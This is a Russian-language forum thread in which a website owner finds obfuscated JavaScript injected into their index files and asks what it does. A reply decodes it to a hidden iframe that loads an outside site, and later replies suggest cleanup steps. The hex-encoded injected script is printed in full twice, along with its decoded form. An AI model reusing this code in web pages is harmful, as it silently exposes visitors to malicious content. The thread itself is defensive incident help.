Форум АНТИЧАТ - Подскажите откуда....

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- Болталка (https://forum.antichat.xyz/forumdisplay.php?f=46)

- - Подскажите откуда.... (https://forum.antichat.xyz/showthread.php?t=80132)

Подскажите откуда....

Вот сегодня на моем сайте появились жалобы на вирус... у меня стоит Касперский 7.0.1.325 с последним обновлением от 08.08.08 и его не видет. Зашел на фтп а там то что я и думал в конце индексных файлов вот такая беда:

PHP код:


		
			
<!-- o65 --><script language="JavaScript" type="text/javascript">var i,y,x="3c696672616d65207372633d22687474703a2f2f6e69636b646174696e672e636f6d2f636f756e7465722f696e6465782e70687022207374796c653d22646973706c61793a6e6f6e65223e";y='';for(i=0;i<x.length;i+=2){y+=unescape('%'+x.substr(i,2));}document.write(y);</script><!-- c65 -->

а можно узнать какие действия делает этот код. К сожалению я в этом ничего не понимаю :(

Да кстате... пароли я нигде не сохраняю на компьютере... та что получается хостер подвел?

Цитата:

Сообщение от brlamo

PHP код:


		
			
<!-- o65 --><script language="JavaScript" type="text/javascript">var i,y,x="3c696672616d65207372633d22687474703a2f2f6e69636b646174696e672e636f6d2f636f756e7465722f696e6465782e70687022207374796c653d22646973706c61793a6e6f6e65223e";y='';for(i=0;i<x.length;i+=2){y+=unescape('%'+x.substr(i,2));}document.write(y);</script><!-- c65 -->

Вот что он делает:

Код HTML:

<iframe src="http://nickdating.com/counter/index.php" style="display:none">

А откуда - либо сайт у тебя дырявый, либо хостера похекали.

Спасибо за объяснение!
Кстате рекомендуют сразу чистить этот мусор и менять пароли на фтп и в cpanel.... может что еще надо бы сделать? или наоборот ничего не надо?

Перезалить прошлый бэкап

4истить страницу, менять пасы, пат4ить софт

Почисти, поменяй, посмотри права файлов, которые редактировались, поставь 744 или rwxr--r--.